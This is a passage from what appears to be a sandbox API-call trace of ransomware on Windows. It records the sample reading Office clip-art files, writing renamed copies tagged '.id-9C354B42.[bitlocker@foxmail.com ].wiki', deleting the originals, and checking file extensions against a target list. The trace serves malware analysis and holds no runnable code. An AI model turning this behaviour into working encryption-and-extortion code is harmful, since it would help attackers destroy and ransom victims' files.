lpNumberOfBytesWritten=0x2dcfc9c*=0x3050, lpOverlapped=0x0) returned 1 [0188.257] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.257] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.257] SetEndOfFile (hFile=0x200) returned 1 [0188.257] CloseHandle (hObject=0x200) returned 1 [0188.257] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.258] SetEndOfFile (hFile=0x20c) returned 1 [0188.258] CloseHandle (hObject=0x20c) returned 1 [0188.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0188.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.262] lstrlenW (lpString=".doc") returned 4 [0188.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString=".docx") returned 5 [0188.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.262] lstrlenW (lpString=".pdf") returned 4 [0188.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString=".xls") returned 4 [0188.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.262] lstrlenW (lpString=".xlsx") returned 5 [0188.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.262] lstrlenW (lpString=".ppt") returned 4 [0188.262] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.262] lstrlenW (lpString=".zip") returned 4 [0188.262] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.262] lstrlenW (lpString=".rar") returned 4 [0188.262] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString=".bz2") returned 4 [0188.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString=".7z") returned 3 [0188.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.262] lstrlenW (lpString=".dbf") returned 4 [0188.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.262] lstrlenW (lpString=".1cd") returned 4 [0188.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.263] lstrlenW (lpString=".jpg") returned 4 [0188.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.263] lstrlenW (lpString=".doc") returned 4 [0188.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString=".docx") returned 5 [0188.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.263] lstrlenW (lpString=".pdf") returned 4 [0188.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString=".xls") returned 4 [0188.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.263] lstrlenW (lpString=".xlsx") returned 5 [0188.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.263] lstrlenW (lpString=".ppt") returned 4 [0188.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.263] lstrlenW (lpString=".zip") returned 4 [0188.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.263] lstrlenW (lpString=".rar") returned 4 [0188.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString=".bz2") returned 4 [0188.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString=".7z") returned 3 [0188.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.263] lstrlenW (lpString=".dbf") returned 4 [0188.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.263] lstrlenW (lpString=".1cd") returned 4 [0188.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0188.264] lstrlenW (lpString=".jpg") returned 4 [0188.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.264] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.264] lstrlenW (lpString="EN00242_.WMF") returned 12 [0188.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.264] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6780) returned 1 [0188.264] CloseHandle (hObject=0x20c) returned 1 [0188.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0188.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.265] GetLastError () returned 0x0 [0188.265] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0188.267] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0188.268] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.268] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.268] SetEndOfFile (hFile=0x200) returned 1 [0188.268] CloseHandle (hObject=0x200) returned 1 [0188.268] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.268] SetEndOfFile (hFile=0x20c) returned 1 [0188.269] CloseHandle (hObject=0x20c) returned 1 [0188.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0188.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.270] lstrlenW (lpString=".doc") returned 4 [0188.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString=".docx") returned 5 [0188.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.270] lstrlenW (lpString=".pdf") returned 4 [0188.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString=".xls") returned 4 [0188.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.270] lstrlenW (lpString=".xlsx") returned 5 [0188.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.270] lstrlenW (lpString=".ppt") returned 4 [0188.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.270] lstrlenW (lpString=".zip") returned 4 [0188.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.270] lstrlenW (lpString=".rar") returned 4 [0188.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString=".bz2") returned 4 [0188.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString=".7z") returned 3 [0188.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.270] lstrlenW (lpString=".dbf") returned 4 [0188.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.270] lstrlenW (lpString=".1cd") returned 4 [0188.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.270] lstrlenW (lpString=".jpg") returned 4 [0188.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.271] lstrlenW (lpString=".doc") returned 4 [0188.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString=".docx") returned 5 [0188.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.271] lstrlenW (lpString=".pdf") returned 4 [0188.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString=".xls") returned 4 [0188.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.271] lstrlenW (lpString=".xlsx") returned 5 [0188.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.271] lstrlenW (lpString=".ppt") returned 4 [0188.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.271] lstrlenW (lpString=".zip") returned 4 [0188.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.271] lstrlenW (lpString=".rar") returned 4 [0188.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString=".bz2") returned 4 [0188.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString=".7z") returned 3 [0188.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.271] lstrlenW (lpString=".dbf") returned 4 [0188.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.271] lstrlenW (lpString=".1cd") returned 4 [0188.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0188.271] lstrlenW (lpString=".jpg") returned 4 [0188.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.272] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.272] lstrlenW (lpString="EN00319_.WMF") returned 12 [0188.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.272] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2280) returned 1 [0188.272] CloseHandle (hObject=0x20c) returned 1 [0188.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0188.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.550] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.550] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.550] GetLastError () returned 0x0 [0188.550] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x8e8, lpOverlapped=0x0) returned 1 [0188.552] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0188.553] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.553] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.553] SetEndOfFile (hFile=0x1e0) returned 1 [0188.553] CloseHandle (hObject=0x1e0) returned 1 [0188.553] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.553] SetEndOfFile (hFile=0x1d0) returned 1 [0188.554] CloseHandle (hObject=0x1d0) returned 1 [0188.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0188.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.554] lstrlenW (lpString=".doc") returned 4 [0188.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.554] lstrlenW (lpString=".docx") returned 5 [0188.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.554] lstrlenW (lpString=".pdf") returned 4 [0188.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.554] lstrlenW (lpString=".xls") returned 4 [0188.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.555] lstrlenW (lpString=".xlsx") returned 5 [0188.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.555] lstrlenW (lpString=".ppt") returned 4 [0188.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.555] lstrlenW (lpString=".zip") returned 4 [0188.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.555] lstrlenW (lpString=".rar") returned 4 [0188.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString=".bz2") returned 4 [0188.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString=".7z") returned 3 [0188.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.555] lstrlenW (lpString=".dbf") returned 4 [0188.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.555] lstrlenW (lpString=".1cd") returned 4 [0188.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.555] lstrlenW (lpString=".jpg") returned 4 [0188.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.555] lstrlenW (lpString=".doc") returned 4 [0188.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString=".docx") returned 5 [0188.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.555] lstrlenW (lpString=".pdf") returned 4 [0188.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.555] lstrlenW (lpString=".xls") returned 4 [0188.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.556] lstrlenW (lpString=".xlsx") returned 5 [0188.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.556] lstrlenW (lpString=".ppt") returned 4 [0188.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.556] lstrlenW (lpString=".zip") returned 4 [0188.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.556] lstrlenW (lpString=".rar") returned 4 [0188.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.556] lstrlenW (lpString=".bz2") returned 4 [0188.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.556] lstrlenW (lpString=".7z") returned 3 [0188.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.556] lstrlenW (lpString=".dbf") returned 4 [0188.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.556] lstrlenW (lpString=".1cd") returned 4 [0188.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0188.556] lstrlenW (lpString=".jpg") returned 4 [0188.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.556] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.556] lstrlenW (lpString="FD00336_.WMF") returned 12 [0188.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.557] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6068) returned 1 [0188.557] CloseHandle (hObject=0x1d0) returned 1 [0188.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x20 [0188.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.557] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.557] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.558] GetLastError () returned 0x0 [0188.558] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x17b4, lpOverlapped=0x0) returned 1 [0188.560] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0188.560] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.561] WriteFile (in: hFile=0x1e0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, 